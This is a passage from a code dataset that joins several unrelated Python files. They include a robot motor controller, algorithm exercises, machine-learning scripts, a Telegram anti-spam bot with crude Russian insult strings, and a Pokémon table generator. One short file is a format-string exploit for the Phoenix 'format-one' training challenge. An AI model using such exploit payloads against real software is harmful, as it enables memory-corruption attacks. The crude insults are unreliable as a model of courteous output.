Forward.....\")\nprint(\"enter-info g-run s-stop f-forward b-backward l-low m-medium h-high e-exit\")\nprint(\"\\n\")\n\ndef right_callback(channel): # callback function\n global pulser, elapser, start_timer_right\n pulser += 1 # increase pulse by 1 whenever interrupt occurred\n elapser = time.time() - start_timer_right # elapse for every 1 complete rotation made!\n start_timer_right = time.time() # let current time equals to start_timer\n\n\ndef left_callback(channel):\n global pulsel, elapsel, start_timer_left\n pulsel += 1\n elapsel = time.time() - start_timer_left\n start_timer_left = time.time()\n\n\ndef get_speed(left):\n global rpml, rpmr\n if (left == True):\n if elapsel != 0:\n rpml = 1 / elapsel\n return rpml\n else:\n if elapser != 0:\n rpmr = 1 / elapser\n return rpmr\n return None\n\ndef init_interrupt():\n GPIO.add_event_detect(speedl,\n GPIO.FALLING,\n callback=left_callback,\n bouncetime=20)\n GPIO.add_event_detect(speedr,\n GPIO.FALLING,\n callback=right_callback,\n bouncetime=20)\n\ndef bluet(message):\n port.flushInput()\n if (message == 1) :\n port.write(bytes('f','utf-8'))\n print(\"command sent: run\")\n\n elif (message == 0) :\n port.write(bytes('s','utf-8'))\n print(\"command sent: stop\")\n\n elif (message == 4) :\n port.write(bytes('b','utf-8'))\n print(\"command sent: back\")\n \n elif (message == 2) :\n port.write(bytes('r','utf-8'))\n print(\"command sent: turn left\")\n \n elif (message == 3) :\n port.write(bytes('l','utf-8'))\n print(\"command sent: turn right\")\n\ndef changePWM(left,offset):\n if (left):\n p2.ChangeDutyCycle(pwml + offset)\n else:\n p1.ChangeDutyCycle(pwmr + offset)\n\ndef get_ultra(port):\n \n if (port == 0): \n trig = trigl\n echo = echol\n elif (port == 1): \n trig = trigr\n echo = echor\n elif (port == 2):\n trig = trigw\n echo = echow\n else:\n trig = trigf\n echo = echof\n\n GPIO.output(trig, True) \n time.sleep(0.00001)\n GPIO.output(trig, False)\n start_time = time.time()\n stop_time = time.time()\n while GPIO.input(echo) == 0:\n start_time = time.time()\n while GPIO.input(echo) == 1:\n stop_time = time.time()\n time_elapsed = stop_time - start_time\n distance = (time_elapsed * 34300) / 2\n return distance\n\ndef forward():\n GPIO.output(in1, GPIO.LOW)\n GPIO.output(in2, GPIO.HIGH)\n GPIO.output(in3, GPIO.LOW)\n GPIO.output(in4, GPIO.HIGH)\n\ndef backward():\n GPIO.output(in1, GPIO.HIGH)\n GPIO.output(in2, GPIO.LOW)\n GPIO.output(in3, GPIO.HIGH)\n GPIO.output(in4, GPIO.LOW)\n\ndef pause():\n GPIO.output(in1, GPIO.LOW)\n GPIO.output(in2, GPIO.LOW)\n GPIO.output(in3, GPIO.LOW)\n GPIO.output(in4, GPIO.LOW)\n\ndef turn_left(angle):\n GPIO.output(in1, GPIO.LOW)\n GPIO.output(in2, GPIO.LOW)\n GPIO.output(in3, GPIO.HIGH)\n GPIO.output(in4, GPIO.LOW)\n sleep(angle)\n GPIO.output(in1, GPIO.LOW)\n GPIO.output(in2, GPIO.LOW)\n GPIO.output(in3, GPIO.LOW)\n GPIO.output(in4, GPIO.LOW)\n\ndef turn_right(angle):\n GPIO.output(in1, GPIO.HIGH)\n GPIO.output(in2, GPIO.LOW)\n GPIO.output(in3, GPIO.LOW)\n GPIO.output(in4, GPIO.LOW)\n sleep(angle)\n GPIO.output(in1, GPIO.LOW)\n GPIO.output(in2, GPIO.LOW)\n GPIO.output(in3, GPIO.LOW)\n GPIO.output(in4, GPIO.LOW)\n\ndef get_inital():\n inital_wall_dis = get_ultra(2)\n inital_front_dis = get_ultra(3)\n inital_diff = abs(inital_wall_dis - inital_front_dis)\n print(\"ini w=\", inital_wall_dis)\n print(\"ini f=\", inital_front_dis)\n print(\"ini d=\", inital_diff)\n\ndef s_forward():\n dw = get_ultra(2)\n df = get_ultra(3)\n if ((dw > df) and ((dw-df) > (inital_diff+1))):\n turn_right(0.1)\n forward()\n sleep(0.1)\n elif ((df > dw) and ((df-dw) > (inital_diff+1))):\n turn_left(0.1)\n forward()\n sleep(0.1)\n else:\n forward()\n sleep(0.3)\n\ndef fix_bias():\n dw = get_ultra(2)\n df = get_ultra(3)\n while (abs(dw-df) > (inital_diff+3)):\n if (dw > df):\n turn_right(0.1)\n sleep(0.2)\n elif (df > dw):\n turn_left(0.1)\n sleep(0.2)\n dw = get_ultra(2)\n df = get_ultra(3)\n \ndef destory():\n GPIO.cleanup()\n # bus.close()\n\nif __name__ == '__main__':\n init_interrupt()\n\n try:\n while (1):\n x = input()\n\n if (x == 'g'):\n print(\"test\")\n get_inital()\n while (1):\n dl = get_ultra(0)\n dr = get_ultra(1)\n print(\"dl=\",dl,\"dr=\",dr)\n if (abs(dl-dr) > 15):\n bluet(0) \n pause()\n fix_bias()\n if ((dl > 1500) and (dr > 1500)): # Two Sides Covered\n bluet(4)\n bluet(0)\n print(\"2 covered\")\n elif ((dl > 150 ) and (dr > 150)): # Two Sides Miss\n bluet(0)\n print(\"break\")\n break\n elif ((dl > 100) or (dr > 1500)): # Right Side Too Close/Covered\n bluet(4) \n bluet(0)\n bluet(2)\n print(\"righr covered\")\n elif ((dr > 100) or (dl > 1500)): # Left Side Too Close/Covered\n bluet(4) \n bluet(0)\n bluet(3)\n print(\"left covered\")\n elif (dl > dr): \n bluet(2)\n print(\"turn left\")\n else:\n bluet(3)\n print(\"turn right\")\n elif ((dl < 20) and (dr < 20)): # Too Close -> Speed up\n bluet(0)\n s_forward()\n print(\"master go\")\n else: # Too Far -> Wait\n pause()\n fix_bias()\n bluet(1)\n bluet(0)\n sleep(0.15)\n x = 'z'\n\n elif (x == 's'):\n print(\"stop\")\n bluet(0)\n pause()\n x = 'z'\n\n elif (x == 'f'):\n print(\"forward\")\n forward()\n x = 'z'\n\n elif (x == 'b'):\n print(\"backward\")\n backward()\n x = 'z'\n\n elif (x == 'r'):\n print(\"Turn Right\")\n turn_right(0.1)\n x = 'z'\n\n elif (x == 'l'):\n print(\"Turn Left\")\n turn_left(0.1)\n x = 'z'\n\n elif (x == 'e'):\n destory()\n break\n\n else:\n # Playground Start\n sl = get_speed(False)\n sr = get_speed(True)\n dl = get_ultra(0)\n dr = get_ultra(1)\n dw = get_ultra(2)\n df = get_ultra(3)\n print(\"Dis Left: \", dl)\n print(\"Dis Right: \", dr)\n print(\"Dis Wall: \", dw)\n print(\"Dis Front: \", df)\n print(\"Wheel Speed Left: \", sl)\n print(\"Wheel Speed Right: \", sr)\n except KeyboardInterrupt: # When 'Ctrl+C' is pressed, release GPIO\n destory()\n","sub_path":"Master_Control/ControlBT.py","file_name":"ControlBT.py","file_ext":"py","file_size_in_byte":9405,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"62"} +{"seq_id":"492069253","text":"# This problem was asked by Facebook.\n\n# Given a stream of elements too large to store in memory,\n# pick a random element from the stream with uniform probability.\n\n\ndef randomE(big_stream):\n res = None\n import random\n for i, v in enumerate(big_stream):\n if random.randint(1, i+1) == 1:\n res = v\n return res\n","sub_path":"daily_problem/15_big_stream.py","file_name":"15_big_stream.py","file_ext":"py","file_size_in_byte":338,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"62"} +{"seq_id":"487190458","text":"from collections import defaultdict\nfrom itertools import permutations\nimport re\n\n\ndef get_names_and_happiness_change(line):\n search_pat = r\"(\\w+) would (gain|lose) (\\d+) happiness units by sitting next to (\\w+).\"\n name1, gain_lose, magnitude, name2 = re.match(search_pat, line).groups()\n sign = 1 if gain_lose == \"gain\" else -1\n return name1, name2, sign * int(magnitude)\n\n\ndef main():\n with open(\"input.txt\") as f:\n lines = [line.strip() for line in f.readlines()]\n lookup = defaultdict(dict)\n for line in lines:\n name1, name2, change = get_names_and_happiness_change(line.strip())\n lookup[name1][name2] = change\n\n # Add self to lookup table\n for name in list(lookup.keys()):\n lookup[\"me\"][name] = lookup[name][\"me\"] = 0\n\n def score_perm(p):\n ret = 0\n for pos, name in enumerate(p):\n adj = p[(pos + 1) % len(p)]\n ret += lookup[name][adj] + lookup[adj][name]\n return ret\n\n print(max(score_perm(p) for p in permutations(lookup.keys())))\n\n\n\n\nif __name__ == \"__main__\":\n main()\n\n\n\n","sub_path":"2015/13/seat_self.py","file_name":"seat_self.py","file_ext":"py","file_size_in_byte":1086,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"62"} +{"seq_id":"446467654","text":"from pybrain.datasets import ClassificationDataSet\nfrom pybrain.structure import FeedForwardNetwork, LinearLayer, SigmoidLayer, FullConnection, SoftmaxLayer\nfrom pybrain.supervised.trainers import BackpropTrainer\nfrom pybrain.utilities import percentError\n\n\ndef load_data(filename):\n classes = []\n x = []\n with open(filename, 'r') as f:\n num_classes = int(f.readline())\n dimension = int(f.readline())\n current = f.readline()\n while current != '':\n classes.append(int(current) - 1)\n current_input = []\n for i in range(16):\n current_input.extend(map(int, f.readline().split()))\n x.append(current_input)\n current = f.readline()\n return x, classes\n\n\ndef load_partial_data(filename, percentage, start = 0):\n x, classes = load_data(filename)\n return x[start:start + len(x) * percentage // 100], classes[start:start + len(classes) * percentage // 100]\n\n\ndef build_dataset(data_pair):\n inputs, classes = data_pair\n ds = ClassificationDataSet(256)\n data = zip(inputs, classes)\n for (inp, c) in data:\n ds.appendLinked(inp, [c])\n return ds\n\n\ndef build_network(input_nodes, hidden_nodes, output_nodes):\n n = FeedForwardNetwork()\n\n inLayer = LinearLayer(input_nodes)\n hiddenLayer = SigmoidLayer(hidden_nodes)\n outLayer = SoftmaxLayer(output_nodes)\n\n n.addInputModule(inLayer)\n n.addModule(hiddenLayer)\n n.addOutputModule(outLayer)\n\n in_to_hidden = FullConnection(inLayer, hiddenLayer)\n hidden_to_out = FullConnection(hiddenLayer, outLayer)\n\n n.addConnection(in_to_hidden)\n n.addConnection(hidden_to_out)\n\n n.sortModules()\n return n\n\n\ndef classification_result(network, test_data):\n test_inputs, test_classes = test_data\n num_samples = len(test_inputs)\n num_errors = 0\n for test_input, test_class in zip(test_inputs, test_classes):\n calculated = network.activate(test_input)\n estimate = calculated.argmax(axis=0)\n print(estimate)\n if estimate != test_class:\n num_errors += 1\n return num_errors / num_samples\n\n\ntraining_data_pair = load_partial_data('usps.train', 100)\ntraining_data = build_dataset(training_data_pair)\n\ntest_data_pair = load_partial_data('usps.test', 100)\ntest_data = build_dataset(test_data_pair)\n\ntraining_data._convertToOneOfMany()\ntest_data._convertToOneOfMany()\n\nnet = build_network(256, 256, 10)\n\ntrainer = BackpropTrainer(net, training_data, momentum=0.9, learningrate=0.001)\ntrainer.trainUntilConvergence(training_data, continueEpochs=5, verbose=True, validationProportion=0.2)\n# test_result = percentError(trainer.testOnClassData(dataset=test_data), test_data['class'])\nprint(\"Test result:\")\nprint(classification_result(net, test_data_pair))\n","sub_path":"exercise9/exercise_9_task_2.py","file_name":"exercise_9_task_2.py","file_ext":"py","file_size_in_byte":2784,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"62"} +{"seq_id":"267485939","text":"#!/usr/bin/env python3\n# -*- coding: utf-8 -*-\n\"\"\"\nCreated on Wed Dec 7 09:41:59 2016\n\n@author: danny\n\"\"\"\nfrom label_func import label_frames, parse_transcript, label_transcript\nfrom data_functions import list_files, phoneme_dict, check_files\nfrom cepstrum import get_mfcc\nfrom scipy.io.wavfile import read\nimport numpy\nimport tables\n\ndef proc_data (pattern,f_ex,params,l_path,d_path,conv_table):\n # get list of audio and transcript files \n audio_files = [d_path+\"/\"+x for x in list_files(d_path)]\n audio_files.sort() \n \n label_files = [l_path+\"/\"+ x for x in list_files (l_path)]\n label_files.sort()\n \n # create h5 file for the processed data\n data_file = tables.open_file(params[5] + '.h5', mode='a')\n \n # create pytable atoms\n feature_shape= (params[1]+1)*3\n f_atom= tables.Float64Atom()\n # N.B. label size is hard coded. It provides phoneme and 7 articulatory feature\n # labels\n l_atom = tables.StringAtom(itemsize=5)\n # create a feature and label group branching of the root node\n features = data_file.create_group(\"/\", 'features') \n labels = data_file.create_group(\"/\", 'labels') \n # create a dictionary from the conv table\n cgndict = phoneme_dict(conv_table)\n \n # check if the audio and transcript files match \n if check_files(audio_files, label_files, f_ex):\n \n # len(audio_files) \n for x in range (0,len(audio_files)): #len(audio_files)\n print ('processing file ' + str(x) )\n # create new leaf nodes in the feature and leave nodes for every audio file\n f_table = data_file.create_earray(features, audio_files[x][-12:-4], f_atom, (0,feature_shape),expectedrows=100000)\n print('l_table')\n l_table = data_file.create_earray(labels, audio_files[x][-12:-4], l_atom, (0,8),expectedrows=100000)\n \n # read audio samples\n input_data = read(audio_files[x])\n # sampling frequency\n fs=input_data[0]\n # get window and frameshift size in samples\n s_window = int(fs*params[2])\n s_shift=int(fs*params[3])\n \n # create mfccs\n [mfcc, frame_nrs] = get_mfcc (input_data,params[0],params[1],s_window,s_shift,params[4]) \n \n # read datatranscript\n trans = parse_transcript(pattern, label_files[x] )\n # convert phoneme transcript to articulatory feature transcript\n l_trans=label_transcript(trans,fs,cgndict)\n nframes = mfcc.shape[0]\n # label frames using the labelled transcript\n l_data= numpy.array(label_frames(nframes,l_trans,s_shift))\n \n # append new data to the tables\n f_table.append(mfcc)\n l_table.append(l_data)\n else: \n print ('audio and transcript files do not match')\n # close the output files\n data_file.close()\n data_file.close()\n return(mfcc,l_data)","sub_path":"AWD/process_data.py","file_name":"process_data.py","file_ext":"py","file_size_in_byte":2969,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"62"} +{"seq_id":"517211674","text":"# -*- coding: utf-8 -*-\n\"\"\"\n Description:插入查找,是一种优化的二分查找\n\"\"\"\n\n\ndef interpolation_search(sequence, key):\n \"\"\"有序序列的插值查找\"\"\"\n time = 0\n low = 0\n height = len(sequence) - 1\n while low < height:\n time += 1\n # 计算 mid 值是插值查找的核心\n mid = low + int((height - low) * (key - sequence[low]) // (sequence[height] - sequence[low]))\n print(\"mid: \", mid)\n\n if key < sequence[mid]:\n height = mid - 1\n elif key > sequence[mid]:\n low = mid + 1\n else:\n print(\"times: \", time)\n return mid\n\n print(\"times: \", time)\n return None\n\n\nif __name__ == '__main__':\n LIST = [1, 5, 7, 8, 22, 54, 99, 123, 200, 222, 444]\n result = interpolation_search(LIST, 444)\n print(result)\n","sub_path":"Data_Structures-and-Algorithm/algorithm_code/search/interpolation_search/interpolation_search.py","file_name":"interpolation_search.py","file_ext":"py","file_size_in_byte":840,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"62"} +{"seq_id":"595476835","text":"\n\n#calss header\nclass _MAMMON():\n\tdef __init__(self,): \n\t\tself.name = \"MAMMON\"\n\t\tself.definitions = [u'the force that makes people try to become as rich as possible and the belief that this is the most important thing in life']\n\n\t\tself.parents = []\n\t\tself.childen = []\n\t\tself.properties = []\n\t\tself.jsondata = {}\n\n\n\t\tself.specie = 'nouns'\n\n\n\tdef run(self, obj1 = [], obj2 = []):\n\t\treturn self.jsondata\n","sub_path":"xai/brain/wordbase/nouns/_mammon.py","file_name":"_mammon.py","file_ext":"py","file_size_in_byte":402,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"62"} +{"seq_id":"15268907","text":"import random\n\nfrom aiogram.types.chat_permissions import ChatPermissions\nfrom aiogram.types import InlineKeyboardMarkup, InlineKeyboardButton\n\n\nquestion_text = 'Добро пожаловать! У вас есть 5 минут чтобы доказать, что вы не спамер!\\n\\n' \\\n 'Сколько плюсов в названии группы?'\n\nright_button_text = '2'\nanswer_query_wrong_button = 'Неверно, осталась одна попытка.'\nanswer_query_right_user = 'Добро пожаловать!'\n\nwrong_answers = [\n 'Я бы на твоем месте застрелился.',\n 'Ну нажал. Легче стало?',\n 'Угадай, кто только что подтвердил что он дегенерат?',\n 'Чтоб у тебя этот палец отсох!',\n 'Тест на пидора успешно пройден. Поздравляем, ты пидор! ',\n 'Ты не спамер, ты сильно хуже. Ты мудак с геном петросяна.',\n 'За тобой уже выехали, шутист.',\n 'Анус себе п��тыкай, пёс!',\n 'Игорь, ты?',\n 'Я смотрю, папа не старался, и ты теперь за него компенсируешь, постоянно тыкая все подряд?',\n 'Таким как ты нужно гвоздь в голову вбивать при рождении.',\n 'И ты видимо считаешь, что это афигенно смешно?',\n 'Так и запишем: помогал ботам.',\n 'Хочешь, всем расскажу, чем ты тут занимаешься?',\n 'Не твоя, вот ты и бесишься.',\n 'Ваш диагноз - патологическая гипоэнцефалокарния.',\n 'Чтоб тебе всю жизнь на одну и ту же кнопку жать.',\n 'Не думал о карьере фронтендера? Ты бы подошел.',\n 'Дружище, это не лифт, здесь каждый сам за себя.',\n 'У меня во дворе за такое убивают нахуй.',\n 'Еще раз – и ты пидорас.',\n 'Кролик с аватары этого чата гораздо умнее тебя. Гораздо умнее. Гораздо!',\n 'Ты кажется можешь посоревноваться в интеллекте с хасой, которую кролик с аватары ест.',\n 'Нет, ну вы посмотрите на этого поца. Тыкает куда ни попадя!',\n 'А тот кто будет тыкать эту кнопку - тому фурункул вскочит на живот!',\n 'Повар спрашивает повара: нахуя ты тыкаешь эту кнопку?',\n 'Не нажимай на эту кнопку!',\n 'Ну и чо?',\n 'Тыкают тут всякие, понимаешь...',\n 'Молодец! Возьми с полки пирожок!',\n 'Молодец!',\n 'Опять ты за своё...',\n 'Хорошая девочка!',\n 'Может нажмешь еще раз?',\n 'А вам, сударь, на броневичек-с!',\n 'Мама мыла раму!',\n 'Ты сделал все что мог!',\n 'С вашего счета списано 100$.',\n 'Таки зачем ви это делаете?',\n 'Грустно...',\n 'Лифт не приедет.',\n 'Ваш звонок очень важен для нас!',\n 'Вы успешно зарегистрированы на интеллектуальное соревнование. Соперник - хаса.',\n 'В упорной битве интеллектуалов ты с минимальным преимуществом побеждаешь хасу!',\n 'В упорной битве интеллектуалов ты с минимальным преимуществом уступаешь хасе!',\n '',\n]\n\nRESTRICT_PERMISSIONS = ChatPermissions(\n can_send_messages=False,\n can_send_media_messages=False,\n can_send_other_messages=False\n )\nALLOW_PERMISSIONS = ChatPermissions(\n can_send_messages=True,\n can_send_media_messages=True,\n can_send_other_messages=True\n )\n\n\ndef get_keyboard(user_id: int) -> InlineKeyboardMarkup:\n kb = InlineKeyboardMarkup()\n kb.row_width = 5\n answers = list(range(5))\n\n random.shuffle(answers)\n\n buttons = []\n\n for answer in answers:\n buttons.append(InlineKeyboardButton(\n text=answer,\n callback_data=f'{user_id}:{answer}'\n ))\n kb.add(*buttons)\n\n return kb\n","sub_path":"admin_bot/utils.py","file_name":"utils.py","file_ext":"py","file_size_in_byte":4803,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"62"} +{"seq_id":"368685112","text":"import numpy as np\nfrom matplotlib import pyplot as plt\nfrom sklearn import datasets\nfrom sklearn.cluster import KMeans\n\n\n\"\"\"Importing PygameDraw so we can draw a digit for our algorithm to predict\"\"\"\nfrom PygameDraw import Draw\n\n\n\"\"\"scikit-learn training dataset of handwritten digits of 30 Turkish men from 1998:\"\"\"\ndigits = datasets.load_digits()\n\n\n\"\"\"Creating the clustering unsupervised model: Number of clusters is set to 10 (digits 0-9). \nA fixed state ensures that the model is build in the same way across multiple runs. \nThis is important insofar as our model is not aware that the clusters represent the 0-9 digits. \n(This will be explained and visualized in detail later on.) \nAs such the actual value of \"random_state\" is irrelevant as long as it is consistent:\"\"\"\nmodel = KMeans(n_clusters=10, random_state=1)\n\n\n\"\"\"Fitting the data to the model\"\"\"\nmodel.fit(digits.data)\n\n\n\"\"\"This function provides visualization of the cluster's centers look like in the data-fitted model. \nNo matter the origin state of our KMeans model the cluster-centers conversion will be almost identical, \nhowever the order of the centers may vary. But we know that the cluster centers represent digits 0 through 9, \nwhich is why we fix \"random_state\". As can be bif we run this function: the cluster-centers at \"random_state = 1\" \nrepresents as follows: 0,9,8,7,1,6,5,3,4,2. The function creates a subplot in matplotlib that displays \nthe array data as 8x8 binary color images, where one value in the array corresponds to one pixel in the image.\"\"\"\ndef cluster_centers():\n fig = plt.figure(figsize=(10, 5))\n for i in range(10):\n axis_x = fig.add_subplot(2, 5, i + 1)\n axis_x.imshow(model.cluster_centers_[i].reshape((8, 8)), cmap=plt.cm.binary)\n return plt.show()\n\n\n\"\"\"Uncomment to display cluster centers.\"\"\"\n# cluster_centers()\n\n\n\"\"\"This receives array data from a Pygame drawing script (PygameDraw.py), so the user \ncan draw/write their own number and the algorithm will predict what number was drawn.\"\"\"\nnew_sample = np.array(\n Draw()\n)\n\n\n\"\"\"Reshapes sample if sample is a 1 dimensional array to fit the model (fitted for a 2 dimensional array).\"\"\"\nif new_sample.ndim == 1:\n new_sample = new_sample.reshape(1, -1)\n\n\n\"\"\"A prediction of the sample is made based on which cluster mostly resembles the data input.\"\"\"\nnew_label = model.predict(new_sample)\n\n\n\"\"\"To get the right number a translation is needed in order to account for our models random_state. \nThe translation would have looked different if another value for random_state was chosen.\"\"\"\ndef translation(new_label):\n if new_label == 0:\n return 0\n elif new_label == 1:\n return 9\n elif new_label == 2:\n return 8\n elif new_label == 3:\n return 7\n elif new_label == 4:\n return 1\n elif new_label == 5:\n return 6\n elif new_label == 6:\n return 5\n elif new_label == 7:\n return 3\n elif new_label == 8:\n return 4\n elif new_label == 9:\n return 2\n\n\n\"\"\"The predicted digit.\"\"\"\nnew_digit = translation(new_label)\nprint(\"Predicted digit: {}\".format(new_digit))\n","sub_path":"Handwriting_Recognizer.py","file_name":"Handwriting_Recognizer.py","file_ext":"py","file_size_in_byte":3126,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"62"} +{"seq_id":"345450331","text":"import os\r\nimport struct\r\n\r\noverflow = struct.pack(\"I\", 0x45764f6c)\r\nexploit = '%32d'+overflow\r\n\r\nwith open(\"format-one\", \"wb\") as f:\r\n f.write(exploit)\r\n\r\nos.system(\"/opt/phoenix/i486/format-one < format-one\")\r\n","sub_path":"i486/format-one.py","file_name":"format-one.py","file_ext":"py","file_size_in_byte":219,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"62"} +{"seq_id":"575470851","text":"from vanilla import Popover\nfrom vanilla.dialogs import message\n\nfrom ghostlines import env\nfrom ghostlines.webview import WebView\nfrom ghostlines.storage.lib_storage import LibStorage\nfrom ghostlines.storage.app_storage import AppStorage\n\n\nclass CommentsMenuItem(object):\n\n def __init__(self, window):\n self.window = window\n self.font = window._font\n self.label = 'Feedback'\n self.identifier = 'ghostlinesFeedback'\n self.icon = 'feedback.pdf'\n self.enabled = False\n\n self.font_family_id_storage = LibStorage(self.font.lib, \"fontFamilyId\")\n\n self.popover = Popover((300, 400), parentView=self.content_view)\n self.popover.web = WebView((0, 0, -0, -0))\n\n # Binding to \"should close\" instead of \"close\", as the event doesn't\n # seem to fire...\n self.window.window().bind(\"should close\", self.clear_webview)\n\n def dispatch(self, sender):\n token = AppStorage(\"accessToken\").retrieve()\n font_family_id = self.font_family_id_storage.retrieve(default=None)\n\n if font_family_id is not None and token is not None and token is not '':\n window = self.window.window().getNSWindow()\n mouseDown = window.mouseLocationOutsideOfEventStream()\n height = self.content_view.frame().size.height\n rect = (mouseDown.x, height - 1, 1, 1)\n headers = {'Authorization': 'Bearer {}'.format(token)}\n\n self.popover.open(preferredEdge=\"top\", relativeRect=rect)\n\n if not self.popover.web.url:\n comment_ui_url =\"{}/ui/font_families/{}/comments\".format(env.api_url, font_family_id)\n self.popover.web.load(comment_ui_url, headers)\n else:\n message(\"You must register a font first\", \"Click on the Ghostlines menu item to create a record for this font on Ghostlines. You will then be able to view the comments from all of your releases by clicking this icon.\")\n\n def clear_webview(self, *_):\n if self.popover.web.url:\n self.popover.web.unload()\n\n return True\n\n @property\n def content_view(self):\n return self.window.window().getNSWindow().contentView()\n","sub_path":"Ghostlines.roboFontExt/lib/ghostlines/toolbar/comments_menu_item.py","file_name":"comments_menu_item.py","file_ext":"py","file_size_in_byte":2191,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"62"} +{"seq_id":"439684564","text":"import numpy\nimport math\n\npokemonByStatTotal = [\n\t'CATERPIE',\n\t'WEEDLE',\n\t'MAGIKARP',\n\t'METAPOD',\n\t'KAKUNA',\n\t'ZUBAT',\n\t'PIDGEY',\n\t'RATTATA',\n\t'SPEAROW',\n\t'DIGLETT',\n\t'JIGGLYPUFF',\n\t'NIDORAN_F',\n\t'NIDORAN_M',\n\t'PARAS',\n\t'EKANS',\n\t'DITTO',\n\t'MEOWTH',\n\t'HORSEA',\n\t'VULPIX',\n\t'SANDSHREW',\n\t'POLIWAG',\n\t'BELLSPROUT',\n\t'GEODUDE',\n\t'DRATINI',\n\t'VENONAT',\n\t'MANKEY',\n\t'MACHOP',\n\t'SHELLDER',\n\t'CHARMANDER',\n\t'ABRA',\n\t'DODUO',\n\t'GHASTLY',\n\t'SQUIRTLE',\n\t'SLOWPOKE',\n\t'BULBASAUR',\n\t'PIKACHU',\n\t'ODDISH',\n\t'PSYDUCK',\n\t'CUBONE',\n\t'GOLDEEN',\n\t'CLEFAIRY',\n\t'MAGEMITE',\n\t'SEEL',\n\t'GRIMER',\n\t'KRABBY',\n\t'EXEGGUTE',\n\t'EVEE',\n\t'DROWZEE',\n\t'VOLTORB',\n\t'TENTACOOL',\n\t'KOFFING',\n\t'STARYU',\n\t'RHYHORN',\n\t'PIDGEOTTO',\n\t'GROWLITHE',\n\t'FARFETCHD',\n\t'OMANYTE',\n\t'KABUTO',\n\t'NIDORINA',\n\t'NIDORINO',\n\t'POLIWHIRL',\n\t'ONIX',\n\t'LICKITUNG',\n\t'WEEPINBELL',\n\t'GRAVELER',\n\t'BUTTERFREE',\n\t'BEEDRILL',\n\t'GLOOM',\n\t'PORYGON',\n\t'KADABRA',\n\t'IVYSAUR',\n\t'CHARMELEON',\n\t'WARTORTLE',\n\t'PARASECT',\n\t'DUGTRIO',\n\t'MACHOKE',\n\t'HAUNTER',\n\t'PONYTA',\n\t'RATICATE',\n\t'DRAGONAIR',\n\t'MAROWAK',\n\t'WIGGLYTUFF',\n\t'TANGELA',\n\t'ARBOK',\n\t'PERSIAN',\n\t'SEADRA',\n\t'FEAROW',\n\t'SANDSLASH',\n\t'VENOMOTH',\n\t'CHANSEY',\n\t'SEAKING',\n\t'GOLBAT',\n\t'PRIMEAPE',\n\t'HITMONLEE',\n\t'HITMONCHAN',\n\t'JYNX',\n\t'DODRIO',\n\t'MR_MIME',\n\t'MAGNETON',\n\t'DEWGONG',\n\t'KINGLER',\n\t'PIDGEOT',\n\t'ELECTRODE',\n\t'CLEFABLE',\n\t'HYPNO',\n\t'RAICHU',\n\t'RHYDON',\n\t'VILEPLUME',\n\t'VICTREEBEL',\n\t'SLOWBRO',\n\t'WEEZING',\n\t'KANGASKAHAN',\n\t'ELECTRABUZZ',\n\t'TAUROS',\n\t'GOLEM',\n\t'MAGMAR',\n\t'OMASTAR',\n\t'KABUTOPS',\n\t'GOLDUCK',\n\t'ALAKAZAM',\n\t'RAPIDASH',\n\t'MUK',\n\t'GENGAR',\n\t'SCYTHER',\n\t'PINSIR',\n\t'NIDOQUEEN',\n\t'NIDOKING',\n\t'NINETALES',\n\t'MACHAMP',\n\t'POLIWRATH',\n\t'TENTACRUEL',\n\t'AERODACTYL',\n\t'EXEGGUTOR',\n\t'STARMIE',\n\t'VEUSAUR',\n\t'CLOYSTER',\n\t'VAPOREON',\n\t'JOLTEON',\n\t'FLAREON',\n\t'BLASTOISE',\n\t'CHARIZARD',\n\t'LAPRAS',\n\t'GYARADOS',\n\t'SNORLAX',\n\t'ARCANINE',\n\t'ARTICUNO',\n\t'ZAPDOS',\n\t'MOLTRES',\n\t'DRAGONITE',\n\t'MEW',\n\t'MEWTWO'\n]\n\nencounterChances = [\n\t1.0, #51/256\n\t1.1, #51/256\n\t1.2, #39/256\n\t1.3, #25/256\n\t1.4, #25/256\n\t1.5, #25/256\n\t1.6, #13/256\n\t1.7, #13/256\n\t1.8, #11/256\n\t2.0 #3/256\n]\n\nzones = [\n\t{'name': 'route1', 'mean-level': 3, 'encounter-rate': '$19'},\n\t{'name': 'route2', 'mean-level': 3, 'encounter-rate': '$19'},\n\t{'name': 'route3', 'mean-level': 3, 'encounter-rate': '$19'}\n]\n\ndef getRandomPokemon(mean, variance):\n\tfor _ in range(100):\n\t\tindex = int(mean + len(pokemonByStatTotal) * numpy.random.normal(0, variance))\n\t\tprint(index)\n\t\tif index >= 0 and index < len(pokemonByStatTotal):\n\t\t\treturn pokemonByStatTotal[index]\n\n\tprint(\"couldn't get pokemon in range\")\n\treturn 'MISSINGNO'\n\ndef getRandomLevel(mean, variance):\n\tmultiplier = numpy.random.normal(1, variance)\n\tlevel = int(multiplier * mean)\n\tif level < 2:\n\t\treturn 2\n\telif level > 100:\n\t\treturn 100\n\telse:\n\t\treturn level\n\ndef createPokemonTable(meanLevel, levelMultiplierVariance, meanPokemonStrength, pokemonStrengthVariance):\n\tpokemonList = []\n\tmeanPokemonStrength = meanPokemonStrength * len(pokemonByStatTotal)\n\tfor chance in encounterChances:\n\t\tnewPokemon = []\n\t\tnewPokemon.append(getRandomLevel(meanLevel, levelMultiplierVariance))\n\t\tnewPokemon.append(getRandomPokemon(meanPokemonStrength, pokemonStrengthVariance * chance))\n\n\t\tpokemonList.append(newPokemon)\n\n\treturn pokemonList\n\ndef createZoneString(poketable, zoneName, encounterRate):\n\tprint(poketable[0][1])\n\ttemplate = (\n\t\t\"{name}Mons:\\n\" # zone name(header)\n\t\t\"\\tdb {rate}\\n\" # encounter rate\n\t\t\"\\tdb {poke[0][0]!s}, {poke[0][1]}\\n\" # pokemon 1\n\t\t\"\\tdb {poke[1][0]!s}, {poke[1][1]}\\n\" # pokemon 